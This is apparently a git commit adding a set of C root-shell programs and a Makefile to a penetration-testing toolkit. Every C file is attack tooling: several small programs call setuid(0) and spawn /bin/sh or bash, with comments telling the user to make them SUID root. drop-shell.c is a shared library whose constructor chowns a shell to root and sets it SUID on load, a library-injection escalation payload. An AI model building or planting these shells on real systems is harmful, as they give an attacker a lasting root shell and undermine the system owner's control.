Add example c root-shells

Miscellaneous/source-code/c-linux/Makefile

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+# Using x64? $ sudo apt instlal -y libc6-dev-i386
+
+all: x64 x86
+
+create:
+	mkdir -p bin/
+
+x64: create
+	gcc -m64 -static -o bin/root-shellx64 root-shell.c
+
+x86: create
+	gcc -m32 -static -o bin/root-shellx86 root-shell.c
+
+strip:
+	strip bin/*
+
+result:
+	file bin/*
+
+clean:
+	rm -rf bin/

Miscellaneous/source-code/c-linux/drop-shell.c

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+// gcc -fPIC -shared -o drop-shell drop-shell.c
+#include <stdio.h>
+#include <sys/types.h>
+#include <unistd.h>
+
+// https://gcc.gnu.org/onlinedocs/gcc-4.7.0/gcc/Function-Attributes.html
+__attribute__((__constructor__))
+
+void dropshell(void) {
+    // Set root user to be owner, and SUID permission
+    chown("./root-shell", 0, 0);
+    chmod("./root-shell", 04755);
+
+    // Feedback
+    printf("[+] Done!\n");
+}

Miscellaneous/source-code/c-linux/root-shell.c

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+// $ gcc -static -o root-shell root-shell.c
+// $ chmod u+s root-shell
+
+#include <unistd.h>
+#include <stdlib.h>
+
+int main(void) {
+  setuid(0);
+  setgid(0);
+  system("/bin/sh");
+  return 0;
+}

Miscellaneous/source-code/c-linux/root-shell2.c

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+// $ gcc -o root-shell2 root-shell2.c
+
+#include <unistd.h>
+
+int main()
+{
+  setuid(0);
+  execl("/bin/bash", "bash", (char *)NULL);
+  return 0;
+}

Miscellaneous/source-code/c-linux/root-shell3.c

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+// $ gcc -static -o root-shell3 root-shell3.c
+// $ chmod u+s root-shell3
+
+#include <unistd.h>
+#include <stdlib.h>
+
+int main(void) {
+  setuid(0);
+  setgid(0);
+  seteuid(0);
+  setegid(0);
+
+  execvp("/bin/sh", NULL, NULL);
+
+  return 0;
+}

Miscellaneous/source-code/c-linux/tiny-shell.c

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+// $ gcc tiny-shell.c
+int main(void){setresuid(0, 0, 0);system("/bin/sh");}